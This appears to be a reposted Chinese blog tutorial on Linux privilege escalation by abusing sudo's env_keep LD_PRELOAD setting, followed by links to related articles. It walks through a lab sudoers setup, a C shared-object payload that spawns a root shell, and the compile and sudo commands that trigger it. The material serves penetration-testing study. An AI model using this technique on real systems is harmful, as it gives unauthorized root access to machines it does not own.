0x00 前言

共享库是程序在启动时加载的库。正确安装共享库后,之后启动的所有程序将自动使用新的共享库。

0x01 共享库名称

每个共享库都有一个名为soname的特殊名称。soname有前缀lib,库的后缀名为.so,后跟句号和版本号。

动态链接器可以通过运行一些动态链接的程序或共享对象来间接运行。程序ld.so和ld linux.so*查找并加载程序所需的共享对象(共享库),准备程序执行,然后运行它。(从这里读)

LD_Preload:它是一个环境变量,它列出了共享库,其中包含重写标准集的函数,就像/etc/ld.so.preload一样。这些是由loader/lib/ld-linux实现的

想了解更多信息,请阅读此处

0x02 实验设置

日志用户必须拥有一些sudo权限,这一点很重要,因此,我们已经赋予sudo用户一些sudo权限,例如由sudo用户执行的/usr/bin/find。但除此之外,还有一些默认配置,您可以在其中设置一个环境变量作为sudo

为此,请按照以下步骤操作:

  • 输入visudo打开/etc/sudoers文件
  • 现在赋予一个用户一些sudo权限,在我们的例子中,“raj”将成为sudoers的成员
raj  ALL=(ALL:ALL) NOPASSWD: /usr/bin/find
  • 然后添加以下内容作为默认配置来设置LD_preload的环境。
 Defaults        env_keep += LD_PRELOAD

0x03 权限升级

要利用此类漏洞,我们需要立即攻击受害者的主机,然后进入到权限提升阶段。假设你现在通过ssh成功登录到受害者的主机上,利用sudo -l命令来检测它并获取利用信息。注意突出显示的环境变量将作为sudo运行环境。

让我们在/tmp目录中生成一个C程序文件。

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid();
setuid();
system("/bin/sh");
}

然后将其保存为/cmp中的shell.c

如上所述,让我们编译它以生成一个带有.so扩展名的共享对象,同样在Windows操作系统中使用.dll文件,因此输入以下内容:

gcc -fPIC -shared -o shell.so shell.c -nostartfiles
ls -al shell.so
sudo LD_PRELOAD=/tmp/shell.so find
id
whoami

非常好,我们获得了ROOT访问权限。

 
 
 
 
 

使用LD_Preload的Linux权限升级技巧的更多相关文章

  1. 使用sudo进行Linux权限升级技巧

    0x00 前言 在我们之前的文章中,我们讨论了如何使用SUID二进制文件和/etc/passwd 文件的Linux权限提升技巧,今天我们发布了另一种“使用Sudoers文件进行Linux权限提示技巧” ...

  2. 使用PATH变量进行Linux权限升级技巧

    0x00 前言 在解决了几个OSCP挑战之后,我们决定写一篇关于用于Linux权限升级的各种方法的文章,这对我们的读者在其渗透测试项目中有所帮助.在本文中,我们将学习“使用$path变量的各种方法”以 ...

  3. 使用SUID二进制文件进行Linux权限升级技巧

      0x00 基础知识 众所周知,在Linux中一切都以文件存在,包括具有允许或限制三个执行操作(即读/写/执行)权限的目录和设备.因此,当给任何文件设置权限时,应该需要了解允许的Linux用户或限制 ...

  4. 编辑/etc/passwd文件进行权限升级的技巧

    0x00 前言 在本文中,我们将学习“修改/etc/passwd文件以创建或更改用户的root权限的各种方法”.有时,一旦目标被攻击,就必须知道如何在/etc/passwd文件中编辑自己的用户以进行权 ...

  5. 给新手的 10 个有用 Linux 命令行技巧

    我记得我第一次使用 Linux 的时候,我还习惯于 Windows 的图形界面,我真的很讨厌 Linux 终端.那时候我觉得命令难以记忆,不能正确使用它们.随着时间推移,我意识到了 Linux 终端的 ...

  6. linux===给新手的 10 个有用 Linux 命令行技巧(转)

    本文转自:http://www.codeceo.com/article/10-linux-useful-command.html?ref=myread 仅用作学习交流使用.如有侵权,立删 我记得我第一 ...

  7. linux java7升级到java8

    转自:https://blog.csdn.net/u010199866/article/details/81744382 linux java7升级到java8   版权 1.第一步先卸载所有老的jd ...

  8. 【shell 大系】Linux Shell常用技巧

    在最近的日常工作中由于经常会和Linux服务器打交道,如Oracle性能优化.我们数据采集服务器的资源利用率监控,以及Debug服务器代码并解决其效率和稳定性等问题.因此这段时间总结的有关Linux ...

  9. linux权限系统

    Linux权限分为 r(4):可读 , w(2)可写 , x(1)可执行 , -无权限 , 可以通过ls -l 文件名查看权限 , 如 ls -l 文件名 输出: -rwxrw---x. root r ...

随机推荐

  1. 011 --Mysql中特定查询

    1.优化COUNT()查询 COUNT()可能是被大家误解最多的函数了,它有两种不同的作用,其一是统计某个列值的数量,其二是统计行数.统计列值时,要求列值是非空的,它不会统计NULL.如果确认括号中的 ...

  2. Netty源码分析第1章(Netty启动流程)---->第5节: 绑定端口

    Netty源码分析第一章:Netty启动步骤 第五节:绑定端口 上一小节我们学习了channel注册在selector的步骤, 仅仅做了注册但并没有监听事件, 事件是如何监听的呢? 我们继续跟第一小节 ...

  3. ossec兼容的操作系统

    OSSEC兼容以下操作系统和日志格式 操作系统 以下操作系统可安装OSSEC代理 l  GNU/Linux (all distributions, including RHEL, Ubuntu, Sl ...

  4. Alpha阶段项目展示博客

    烫烫烫烫烫(hotcode5)团队 1. 团队成员的简介和个人博客地址 刘畅 博客园ID:森高Slontia 身份:PM 个人介绍: 弹丸粉 || 小说创作爱好者 || 撸猫狂魔(x || 生命的价值 ...

  5. dobule运算

    DecimalFormat df = new DecimalFormat("0.00"); double rate = (warnMonNum/totalCustCount)*10 ...

  6. JS进阶系列之原型、原型链

    最近在看 JavaScript忍者秘籍 这本书的时候,再加上最近遇到的关于原型.原型链的面试题,所以萌生了要把这些知识梳理一遍的想法,所以以下是我自己对原型.原型链的看法 什么是原型 提到原型,我们可 ...

  7. bing词典vs有道词典对比测试报告——功能篇之细节与用户体验

    之所以将细节与用户体验放在一起讨论,是因为两者是那么的密不可分.所谓“细节决定成败”,在细节上让用户感受方便.舒适.不费心而且温馨,多一些人文理念,多一些情怀,做出来的产品自然比其他呆板的产品更受欢迎 ...

  8. 第三次博客作业JSF

    JSF规格化设计发展史以及为什么得到人们重视 查阅了n多资料但是仍然没找到. 就说一些jsf的优势吧. 优势:    (1)UI组件 (2)事件驱动模式 (3)用户界面到业务逻辑的直接映射 (4)程序 ...

  9. React环境配置(第一个React项目)

    使用Webpack构建React项目 1. 使用NPM配置React环境 NPM及React安装自行百度 首先创建一个文件夹,the_first_React 进入到创建好的目录,npm init,然后 ...

  10. VANET

    VANET知识 VANET与普通网络相比,与IOV的区别: VANET中Greedy Routing:基于距离(GPSR):基于速度和角度:基于道路层(TDR): Repair Strategy:Fa ...